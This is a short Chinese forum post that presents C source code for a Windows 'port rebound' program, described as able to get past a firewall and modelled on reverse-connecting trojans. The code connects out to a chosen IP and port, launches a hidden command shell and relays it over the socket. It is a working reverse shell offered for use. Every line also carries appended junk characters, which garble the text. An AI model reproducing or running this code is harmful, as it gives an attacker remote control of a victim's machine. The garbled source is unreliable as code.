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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .cN\x@3-j  
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/* ============================== -MOPm]iA  
Rebound port in Windows NT 7lY&/-V  
By wind,2006/7 Q7UFF  
===============================*/ ."l@aE=|  
#include Ox.&tW%@  
#include [[P?T^KT  
;!DUNzl  
#pragma comment(lib,"wsock32.lib") E9HA8  
P\KP)bkC  
void OutputShell(); K/79Tb-  
SOCKET sClient; (h7 rW3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1i4KZ"A5+  
0vNEl3f'O  
void main(int argc,char **argv) 96T.xT>&  
{ >w+WG0Z K  
WSADATA stWsaData; qY`)W[  
int nRet; 4_3Jpz*  
SOCKADDR_IN stSaiClient,stSaiServer; > xkl7D  
^%-$8sV  
if(argc != 3) 5t#+UR  
{ su/l'p'  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9V`/zq?  
return; SLpB$puS  
} 0RAmwfXm  
hH[UIe  
WSAStartup(MAKEWORD(2,2),&stWsaData); )dgXS//Y  
A-1Wn^,> *  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =z'- B~  
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stSaiClient.sin_family = AF_INET; Z0g3> iItM  
stSaiClient.sin_port = htons(0); ]N_(M   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f1(V~{N,+  
5p}Y6Lc\j  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v~e@:7d i  
{ DZ5%-  
printf("Bind Socket Failed!\n"); <at/z9b  
return; f@l$52f3D  
} ]#P9.c_}  
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stSaiServer.sin_family = AF_INET; H!Z=}>TN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W76K/A<h>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )(~4fA5j)  
sufidi  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _"SE^_&c  
{ Ke '?  
printf("Connect Error!"); $D +6=m[  
return; 34k<7X`I  
} 8M*[RlUJB  
OutputShell(); Q( .d!CQ>  
} J * $u  
2Un~ Iy  
void OutputShell() 1OK,r`   
{ h!ZEZ|{  
char szBuff[1024]; EGL1[7It`  
SECURITY_ATTRIBUTES stSecurityAttributes; Da*=uW9  
OSVERSIONINFO stOsversionInfo; /2pf*\u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E</Um M+ R  
STARTUPINFO stStartupInfo; e^Q$Tog<  
char *szShell; y`wTw/5N  
PROCESS_INFORMATION stProcessInformation; - FV$Sne  
unsigned long lBytesRead; L ?g|:  
*`OgwMr)M  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3?SofPtc/  
xZW6Hk _  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DKgwi'R  
stSecurityAttributes.lpSecurityDescriptor = 0; BlUl5mP}>  
stSecurityAttributes.bInheritHandle = TRUE; WL$Ee=  
By(:%=.  
8rwkux >  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =G3O7\KmH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x4fl=  
,o7aIg&_H  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B?9K!c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9~98v;Z1  
stStartupInfo.wShowWindow = SW_HIDE; #D M%_HXDi  
stStartupInfo.hStdInput = hReadPipe; <-62m8N|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &S}%)g%Iv9  
w|:UTJ>@  
GetVersionEx(&stOsversionInfo); H_KE^1  
R}njFQvS)  
switch(stOsversionInfo.dwPlatformId) Qg;A (\z  
{ O^ZOc0<  
case 1: Dw{rjK\TT'  
szShell = "command.com"; xO)vn\uJ  
break; }ozlED`E  
default: ;> **+ezF  
szShell = "cmd.exe"; 6wC|/J^  
break; u}Vc2a,WV  
} 3&'ll51t  
l G12Su/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7|LJwXQ-  
_yY(&(]#  
send(sClient,szMsg,77,0); $~vy,^  
while(1) p>4$&-  
{ JF!?i6V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~6m-2-14q  
if(lBytesRead) uqwB`<>KJ  
{ zJJ KLr;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P5/K?I~/So  
send(sClient,szBuff,lBytesRead,0); Bf!i(gM  
} s$`g%H>  
else Fq/?0B8  
{ wEL$QOu$  
lBytesRead=recv(sClient,szBuff,1024,0); +^tq?PfE  
if(lBytesRead<=0) break; YY-{&+,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nD6mLNi%a  
} 6}^0/ 76^,  
} d2lOx|jt  
k_%2Ok   
return; b);Pw"_2  
}
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